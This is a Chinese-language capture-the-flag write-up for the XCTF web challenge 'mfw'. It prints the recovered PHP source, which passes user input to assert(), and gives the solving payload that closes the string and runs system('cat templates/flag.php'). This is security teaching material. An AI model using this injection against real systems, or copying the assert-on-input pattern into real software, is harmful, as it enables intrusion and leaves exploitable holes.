XCTF-web-mfw

在這里插入圖片描述

發現了git

在這里插入圖片描述

使用GitHack下載一下源文件，找到了php源代碼

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>

解析

<?php
// 獲取GET參數中的page值，如果不存在則默認為"home"
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}// 拼接文件路徑，將page值作為文件名
$file = "templates/" . $page . ".php";// 安全檢查：確保路徑中不包含".."（目錄遍歷攻擊防護）
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// 安全檢查：確保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解題：

在這里插入圖片描述

?page=').system(“cat templates/flag.php”);//

’)進行閉合
system(“cat templates/flag.php”)表示在系統中執行cat templates/flag.php命令，該命令用于查看templates目錄下的flag.php文件內容

在源碼中可以看到flag

在這里插入圖片描述

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/web/81672.shtml
繁體地址，請注明出處：http://hk.pswp.cn/web/81672.shtml
英文地址，請注明出處：http://en.pswp.cn/web/81672.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！